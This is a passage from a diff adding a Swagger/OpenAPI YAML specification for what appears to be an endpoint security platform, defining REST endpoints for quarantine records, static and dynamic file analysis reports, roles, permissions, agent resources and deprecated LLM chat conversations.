+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: user
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: title
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: archived
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: public
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: requests.message
+          required: false
+          type: string
+        - in: query
+          name: requests.response
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Conversation'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - llm
+    parameters: []
+    post:
+      deprecated: true
+      description: Start a new conversation
+      operationId: data_llm_conversation_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/NewConversation'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/Conversation'
+      tags:
+        - llm
+  /data/llm/conversation/{id}/:
+    delete:
+      description: LLM ViewSet. Defines endpoints for interacting with Kio. Deprecated, will be replaced with /api/llm/chat
+      operationId: data_llm_conversation_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - llm
+    get:
+      description: LLM ViewSet. Defines endpoints for interacting with Kio. Deprecated, will be replaced with /api/llm/chat
+      operationId: data_llm_conversation_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Conversation'
+      tags:
+        - llm
+    parameters:
+      - description: A UUID string identifying this chat conversation.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/llm/conversation/{id}/request/:
+    parameters:
+      - description: A UUID string identifying this chat conversation.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      deprecated: true
+      description: Ask a new request in an existing conversation
+      operationId: data_llm_conversation_new_request
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Conversation'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/InnerRequest'
+      tags:
+        - llm
+  /data/llm/feedback/:
+    parameters: []
+    post:
+      description: LLM viewset. Defines an additional endpoint for providing feedback on Kio. Deprecated, will be replaced with /api/llm/chat
+      operationId: data_llm_feedback_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Feedback'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/Feedback'
+      tags:
+        - llm
+  /data/llm/request/{id}/:
+    get:
+      description: LLM viewset. Defines an additional endpoint for interacting with Kio. Deprecated, will be replaced with /api/llm/chat
+      operationId: data_llm_request_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Request'
+      tags:
+        - llm
+    parameters:
+      - description: A UUID string identifying this chat request.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/permission/:
+    get:
+      description: ""
+      operationId: data_permission_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Permission'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - user
+    parameters: []
+    post:
+      description: ""
+      operationId: data_permission_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Permission'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/Permission'
+      tags:
+        - user
+  /data/permission/{id}/:
+    delete:
+      description: ""
+      operationId: data_permission_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - user
+    get:
+      description: ""
+      operationId: data_permission_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Permission'
+      tags:
+        - user
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_permission_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Permission'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Permission'
+      tags:
+        - user
+    put:
+      description: ""
+      operationId: data_permission_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Permission'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Permission'
+      tags:
+        - user
+  /data/quarantine/history/:
+    get:
+      description: ""
+      operationId: data_quarantine_history_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: action
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: action_result
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: action_result_message
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: action_result_reason
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: file_path
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: file_hash
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: file_uid
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: action_uid
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: job_uid
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: job_instance_number
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: error_message
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: comment
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__osproducttype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__ostype
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: agent.id
+          required: false
+          type: string
+        - in: query
+          name: agent.hostname
+          required: false
+          type: string
+        - in: query
+          name: agent.osproducttype
+          required: false
+          type: string
+        - in: query
+          name: agent.ostype
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/QuarantineActionHistory'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - quarantine
+    parameters: []
+  /data/quarantine/history/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_quarantine_history_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: action
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: action_result
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: action_result_message
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: action_result_reason
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: file_path
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: file_hash
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: file_uid
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: action_uid
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: job_uid
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: job_instance_number
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: error_message
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: comment
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__osproducttype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__ostype
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - quarantine
+    parameters: []
+  /data/quarantine/history/{id}/:
+    get:
+      description: ""
+      operationId: data_quarantine_history_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/QuarantineActionHistory'
+      tags:
+        - quarantine
+    parameters:
+      - description: A UUID string identifying this quarantine action history.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/quarantine/item/:
+    get:
+      description: ""
+      operationId: data_quarantine_item_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: item_md5
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: item_sha1
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: item_sha256
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: item_sha512
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: local_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: original_file_size
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: original_file_path
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: new_file_path
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: user_sid
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: acl
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: full_security_descriptor
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: mode
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: user_id
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: group_id
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: agent__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__osproducttype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__ostype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: comment
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: agent.id
+          required: false
+          type: string
+        - in: query
+          name: agent.hostname
+          required: false
+          type: string
+        - in: query
+          name: agent.osproducttype
+          required: false
+          type: string
+        - in: query
+          name: agent.ostype
+          required: false
+          type: string
+        - in: query
+          name: status_jobinstance.state
+          required: false
+          type: number
+        - in: query
+          name: status_jobinstance.action
+          required: false
+          type: string
+        - in: query
+          name: status_jobinstance.starttime
+          required: false
+          type: string
+        - in: query
+          name: status_jobinstance.endtime
+          required: false
+          type: string
+        - in: query
+          name: status_jobinstance.job_id
+          required: false
+          type: string
+        - in: query
+          name: acquired
+          required: false
+          type: boolean
+        - in: query
+          name: download_jobinstance.state
+          required: false
+          type: number
+        - in: query
+          name: download_jobinstance.action
+          required: false
+          type: string
+        - in: query
+          name: download_jobinstance.starttime
+          required: false
+          type: string
+        - in: query
+          name: download_jobinstance.endtime
+          required: false
+          type: string
+        - in: query
+          name: download_jobinstance.job_id
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/QuarantinedItem'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - quarantine
+    parameters: []
+  /data/quarantine/item/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_quarantine_item_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: item_md5
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: item_sha1
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: item_sha256
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: item_sha512
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: local_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: original_file_size
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: original_file_path
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: new_file_path
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: user_sid
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: acl
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: full_security_descriptor
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: mode
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: user_id
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: group_id
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: agent__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__osproducttype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__ostype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: comment
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - quarantine
+    parameters: []
+  /data/quarantine/item/{id}/:
+    get:
+      description: ""
+      operationId: data_quarantine_item_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/QuarantinedItem'
+      tags:
+        - quarantine
+    parameters:
+      - description: A UUID string identifying this quarantined item.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/quarantine/item/{id}/download/:
+    get:
+      description: ""
+      operationId: data_quarantine_item_download
+      parameters: []
+      responses:
+        "200":
+          description: FileResponse
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - quarantine
+    parameters:
+      - description: A UUID string identifying this quarantined item.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/quarantine/item/{id}/request_upload/:
+    parameters:
+      - description: A UUID string identifying this quarantined item.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_quarantine_item_request_upload
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/JobLight'
+        "500":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - quarantine
+  /data/reports/DynamicAnalysis/:
+    get:
+      description: ""
+      operationId: data_reports_DynamicAnalysis_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/DynamicAnalysis'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - Reports
+    parameters: []
+  /data/reports/DynamicAnalysis/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_reports_DynamicAnalysis_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - Reports
+    parameters: []
+  /data/reports/DynamicAnalysis/send/{hash}/:
+    parameters:
+      - in: path
+        name: hash
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_reports_DynamicAnalysis_send_to_dynamic_analysis
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/SimpleTenant'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - Reports
+  /data/reports/DynamicAnalysis/{id}/:
+    get:
+      description: ""
+      operationId: data_reports_DynamicAnalysis_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DynamicAnalysis'
+      tags:
+        - Reports
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/reports/StaticAnalysis/:
+    get:
+      description: ""
+      operationId: data_reports_StaticAnalysis_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/StaticAnalysis'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - Reports
+    parameters: []
+  /data/reports/StaticAnalysis/analyze/{sha256}/:
+    parameters:
+      - in: path
+        name: sha256
+        required: true
+        type: string
+    post:
+      description: |2
+            Start static analysis of a file.
+            the analysis starts immediately if the file is already in S3,
+            otherwise, we request the upload of the file to S3 with auto_analyze = True
+
+            possible analysis status values : {
+          "0": "FINISHED",
+          "1": "RUNNING",
+          "2": "TIMED_OUT",
+          "3": "DOES_NOT_EXIST",
+          "4": "WAITING_FOR_FILE_UPLOAD",
+          "5": "CONTENTS_NOT_FOUND",
+          "6": "NOT_DOWNLOADED",
+          "7": "FILE_AVAILABILITY_ERROR",
+          "8": "FILE_UPLOAD_TIMEOUT",
+          "9": "IMCOMPATIBLE_FILE_TYPE",
+          "255": "UNKNOWN_ERROR"
+        }
+
+            possible file_availability values : {
+          "0": "NO_ERROR",
+          "1": "NO_TELEMETRY_FOUND",
+          "2": "NO_CONNECTED_AGENTS",
+          "3": "ALREADY_DOWNLOADED",
+          "4": "FILE_MISSING",
+          "5": "AGENT_NOT_PROVIDED",
+          "6": "AGENT_NOT_FOUND",
+          "7": "NOT_DOWNLOADED",
+          "8": "FILE_TOO_BIG",
+          "9": "NO_PERMISSION",
+          "255": "UNKNOWN_ERROR"
+        }
+      operationId: data_reports_StaticAnalysis_force_static_analysis
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/SimpleTenant'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AnalysisStatus'
+      tags:
+        - Reports
+  /data/reports/StaticAnalysis/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_reports_StaticAnalysis_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - Reports
+    parameters: []
+  /data/reports/StaticAnalysis/send/{hash}/:
+    parameters:
+      - in: path
+        name: hash
+        required: true
+        type: string
+    post:
+      description: Deprecated, use /analyze/<sha256>/ instead
+      operationId: data_reports_StaticAnalysis_send_to_static_analysis
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/SimpleTenant'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AnalysisStatus'
+      tags:
+        - Reports
+  /data/reports/StaticAnalysis/tree/{sha256}/:
+    get:
+      description: |2
+            Get the extracted file tree from a static analysis report.
+
+            possible analysis status values : {
+          "0": "FINISHED",
+          "1": "RUNNING",
+          "2": "TIMED_OUT",
+          "3": "DOES_NOT_EXIST",
+          "4": "WAITING_FOR_FILE_UPLOAD",
+          "5": "CONTENTS_NOT_FOUND",
+          "6": "NOT_DOWNLOADED",
+          "7": "FILE_AVAILABILITY_ERROR",
+          "8": "FILE_UPLOAD_TIMEOUT",
+          "9": "IMCOMPATIBLE_FILE_TYPE",
+          "255": "UNKNOWN_ERROR"
+        }
+      operationId: data_reports_StaticAnalysis_get_extracted_file_tree
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ExtractedFilesTree'
+      tags:
+        - Reports
+    parameters:
+      - in: path
+        name: sha256
+        required: true
+        type: string
+  /data/reports/StaticAnalysis/{id}/:
+    get:
+      description: ""
+      operationId: data_reports_StaticAnalysis_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/StaticAnalysis'
+      tags:
+        - Reports
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/reports/Strings/:
+    get:
+      description: ""
+      operationId: data_reports_Strings_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ExtractedString'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - Reports
+    parameters: []
+  /data/reports/Strings/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_reports_Strings_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - Reports
+    parameters: []
+  /data/reports/Strings/{id}/:
+    get:
+      description: ""
+      operationId: data_reports_Strings_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ExtractedString'
+      tags:
+        - Reports
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/resource/AgentResource/:
+    get:
+      description: ""
+      operationId: data_resource_AgentResource_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AgentResource'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - resource
+    parameters: []
+  /data/resource/AgentResource/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_resource_AgentResource_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - resource
+    parameters: []
+  /data/resource/AgentResource/{id}/:
+    get:
+      description: ""
+      operationId: data_resource_AgentResource_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentResource'
+      tags:
+        - resource
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/role/:
+    get:
+      description: ""
+      operationId: data_role_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: is_supervisor_role
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: user_count
+          required: false
+          type: number
+        - in: query
+          name: group_count
+          required: false
+          type: number
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Role'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - user
+    parameters: []
+    post:
+      description: ""
+      operationId: data_role_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Role'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/Role'
+      tags:
+        - user
+  /data/role/upload_yaml/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_role_upload_yaml
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Role'
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/_UploadYamlRole'
+            type: array
+      tags:
+        - user
+  /data/role/{id}/:
+    delete:
+      description: ""
+      operationId: data_role_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - user
+    get:
+      description: ""
+      operationId: data_role_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Role'
+      tags:
+        - user
+    parameters:
+      - description: A unique integer value identifying this role.
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_role_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Role'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Role'
+      tags:
+        - user
+    put:
+      description: ""
+      operationId: data_role_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Role'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Role'
+      tags:
+        - user
+  /data/role/{id}/add_groups/:
+    parameters:
+      - description: A unique integer value identifying this role.
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_role_add_groups
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
